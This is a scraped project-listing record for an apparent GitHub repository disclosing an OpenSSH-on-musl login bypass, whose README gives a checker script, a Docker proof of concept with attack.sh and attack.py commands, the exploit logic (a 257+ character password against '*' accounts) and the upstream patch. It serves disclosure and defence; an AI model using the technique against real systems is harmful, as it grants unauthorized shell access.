[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109208":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":16,"subscribersCount":16,"size":16,"stars1d":17,"stars7d":18,"stars30d":19,"stars90d":16,"forks30d":16,"starsTrendScore":18,"compositeScore":20,"rankGlobal":10,"rankLanguage":10,"license":21,"archived":22,"fork":22,"defaultBranch":23,"hasWiki":22,"hasPages":22,"topics":24,"createdAt":10,"pushedAt":25,"updatedAt":26,"readmeContent":27,"aiSummary":28,"trendingCount":16,"starSnapshotCount":16,"syncStatus":17,"lastSyncTime":29,"discoverSource":30},109208,"sshole","oz9un\u002Fsshole","oz9un","openssh on musl accepted any 257+ char password for accounts with no password. since 2016. check.sh, poc, patch.","https:\u002F\u002Fsshhole.com",null,"Shell",294,21,1,3,0,2,7,131,61.53,"MIT License",false,"main",[],"2026-11-05 18:36:48","2026-11-23 00:14:55","\u003Cp align=\"center\">\u003Ca href=\"https:\u002F\u002Fsshhole.com\">\u003Cimg src=\"assets\u002Flogo.png\" alt=\"*sshole\" width=\"480\">\u003C\u002Fa>\u003C\u002Fp>\n\nopenssh on musl linux (alpine, openwrt, buildroot, yocto) lets you log in to any account that has `*` as its password with any password longer than 256 characters. that means root, key-only users, ldap users, the `alpine` user on alpine's cloud images. since 2016.\n\nthe full story is at [sshhole.com](https:\u002F\u002Fsshhole.com). this repo has the script to check your own machine, a docker setup to try it yourself, and the patch.\n\nfixed in openssh 10.6p2 on 2026-11-05. alpine packages are out.\n\n## am i an \\*sshole?\n\n```\ncurl -sO https:\u002F\u002Fraw.githubusercontent.com\u002Foz9un\u002Fsshole\u002Fmain\u002Fcheck.sh\nsudo sh check.sh\n```\n\n```\nlibc                         musl\nsshd                         OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026\npam                          off (not built in)\nPasswordAuthentication       yes\naccounts with '*'            root alice deploy\nsha-crypt hash present       yes (bob)\n\nEXPOSED. anyone can log in as: root alice deploy\nfix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.\n```\n\nyou are only exposed if all of these are true. the script tells you which one is missing if you're not:\n\n- the system uses musl (alpine, openwrt, buildroot, yocto, postmarketos, void-musl, chimera)\n- sshd is built without pam. alpine's normal `openssh-server` package is. `openssh-server-pam` with `UsePAM yes` is safe\n- `PasswordAuthentication yes` in sshd_config (this is the default)\n- at least one account has exactly `*` as its password field\n- at least one account has a real `$5$` or `$6$` password hash (someone, anyone, ran `passwd`)\n\nglibc, pam, `PasswordAuthentication no`, openbsd, freebsd, macos: not affected. you can stop reading.\n\n## reproduce it\n\nyou need docker. this builds a normal alpine 3.24 with `openssh-server` and the default config. `alice` has `*`, `bob` has a real password.\n\n```\ncd poc\ndocker build -t sshhole .\ndocker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole\n\n.\u002Fattack.sh 127.0.0.1 2222 alice\n```\n\n```\nPermission denied, please try again.\nuid=1000(alice) gid=1000(alice) groups=1000(alice)\nRESULT: logged in as alice\n```\n\ntwo prompts. first one anything, second one 300 x `A`. that's the exploit.\n\nroot works too if `PermitRootLogin yes` is set:\n\n```\ndocker rm -f sshhole\ndocker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole \u002Fusr\u002Fsbin\u002Fsshd -D -e -o PermitRootLogin=yes\n.\u002Fattack.sh 127.0.0.1 2222 root\n```\n\n`attack.py` does the same with paramiko and lets you pick the password length, so you can see 256 fail and 257 work:\n\n```\npip install paramiko\npython3 attack.py 127.0.0.1 2222 alice 256     # rejected\npython3 attack.py 127.0.0.1 2222 alice 257     # logged in\n```\n\nfor older alpine versions: `docker build --build-arg BASE=alpine:3.21 -t sshhole .` it works at least back to 3.18. the oldest we tried was openssh 7.5p1 on musl 1.1.16 from 2017, and it worked there too.\n\n## patch\n\n[`patch\u002F4353fdc43-avoid-password-authn-bypass.patch`](patch\u002F4353fdc43-avoid-password-authn-bypass.patch) is the upstream fix, unchanged, in case you need to apply it to an older version. it works on anything from 7.3p1 up. it makes sshd skip the comparison when the stored field is too short to be a real hash, and it also stops using a pointer into libc's static buffer.\n\nif you can't update right now, set `PasswordAuthentication no` in `sshd_config`. that closes it completely.\n\n## how it works, in six lines\n\n```\npw_password = \"*\"                          # alice has no password\nsalt = NULL                                # \"*\" is too short to be a salt\nsalt = pick_salt()                         # so sshd takes bob's: \"$6$abc$\"\nhash = crypt(\"AAAA…x300\", \"$6$abc$\")       # musl: key is over 256 bytes -> returns \"*\"\nstrcmp(hash, pw_password) == 0             # \"*\" == \"*\"\nreturn 1                                   # welcome, alice\n```\n\nsshd has compared against `*` like this since the 90s. musl started returning `*` on failure in 2012. sshd started using other accounts' salts in 2016. see the [timeline](TIMELINE.md).\n\n## not here\n\nthe full test setup (17 environments: cloud image in qemu, openwrt, buildroot, ldap and ad users, and so on), the prevalence numbers and the per-distro table are in the write-up. they may be published later. this repo is small on purpose.\n\nmit license.\n","sshole 是一个针对 musl libc 环境下 OpenSSH 的安全漏洞检测与验证项目，揭示了自2016年起存在于 Alpine Linux、OpenWrt 等 musl 发行版中的一处认证绕过缺陷：当账户密码字段为 '*' 且启用 PasswordAuthentication 时，攻击者可使用任意长度 ≥257 字符的密码登录该账户。项目提供检查脚本（check.sh）、Docker 复现环境、Python\u002FShell 攻击验证工具及官方补丁。适用于系统管理员快速评估生产环境中 musl+OpenSSH 组合的安全暴露面，尤其在容器化、嵌入式及云镜像场景下需优先排查。","2026-11-24 04:36:12","CREATED_QUERY"]